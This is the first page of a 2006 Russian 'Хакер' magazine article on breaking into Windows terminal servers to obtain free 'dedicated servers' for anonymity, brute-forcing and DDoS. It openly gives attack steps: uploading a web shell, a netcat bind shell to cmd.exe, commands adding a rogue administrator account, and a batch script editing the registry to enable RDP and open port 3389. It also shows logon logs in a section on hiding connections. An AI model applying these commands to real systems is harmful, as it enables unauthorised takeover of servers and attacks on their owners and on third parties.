Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #95, НОЯБРЬ 2006 г.

Терминальная эпопея

Андрей Комаров aka Skvoznoy

Хакер, номер #095, стр. 095-074-1


(admin@cup.su)

Как ломают терминальные сервера

Почти каждый приватный форум рунета пестрит сообщениями о продаже «дедиков». Dedicated server, или просто дедик, - полезный предмет в руках хакера. Во-первых, он может потребоваться тебе при обеспечении анонимности и при совершении «коварных злодеяний», а во-вторых, все же это VDS, на котором возможно хранить гигабайты конфиденциальной информации даже правительственных структур. Конфигурационные мощности сервера могут быть использованы для затяжных вruteforce-атак на сетевой сервис. Широкий канал, который, в основном, варьируется от 10 до 100 Мб/с, способствует ускорению процесса получения результата, а также содействует наказанию твоего неприятеля DDOS-атакой. В голодный год денег на такой плацдарм тратить может не захотеться, поэтому стоит задуматься о способах получения его на халяву.

Всем пройти к TERMINAL'у

Начнем с простого. Воспользовавшись уязвимостями веб-приложений, зальем шелл на взломанный сервер, чтобы определить платформу (ОС) сервера. Затем с помощью встроенных средств интерпретатора аплоадим nc.exe (nc.exe -l -p ПОРТ -d -e cmd.exe).

Теперь используем Putty (или любой другой клиент) для коннекта на заданный порт. Добавим нового суперпользователя в базу учетных записей:

net user ЛОГИН ПАРОЛЬ /add

net localgroup administrators /add admin

Вполне возможно, что RDP изначально будет вырублен и после попытки коннекта с помощью Mstsc.exe ты получишь отказ. Но никто не мешает тебе его включить :).

Это делается командой

net start "Terminal Server",

либо через реестр. Я покажу, как модификацией реестра включить RDP, на примере. Для этого создаем удаленно .bat файл (либо файл, аналогично исполняемый). Загружаем его через залитый скриптовый шелл, запоминаем путь и исполняем его из консоли.

echo off

IF [%1]==[] ( ECHO Usage: %0 computername ) ELSE (

reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v "3389:TCP" /t REG_SZ /d "3389:TCP:LocalSubNet:Enabled:Remote Desktop" /f )

pause

Следует отметить, что служба Terminal Server требует предварительного ее наличия. Например, на XP она уже присутствует, а на некоторые серверные платформы ее необходимо дополнительно устанавливать.

Анонимность при подключении к RDP

Не стоит забывать, что, как бы то ни было, все попытки подключений могут логироваться как в Windows Firewall, так и в Event Viewer. Безусловно, это зависит от принятой админом политики безопасности, но, например, Win2003 по умолчанию пишет лог, кто и откуда коннектился на машину.

Для иллюстрации я приведу пример такого журнала:

Successful Logon:

User Name: Administrator

Domain: SUPERSERVER

Logon ID: (0x0,0x133F833B)

Logon Type: 10

Logon Process: User32

Authentication Package: Negotiate

Workstation Name: SUPERSERVER

Logon GUID: -

Caller User Name: SUPERSERVER$

Caller Domain: XAKEP.ru

Содержание  Вперед на стр. 095-074-2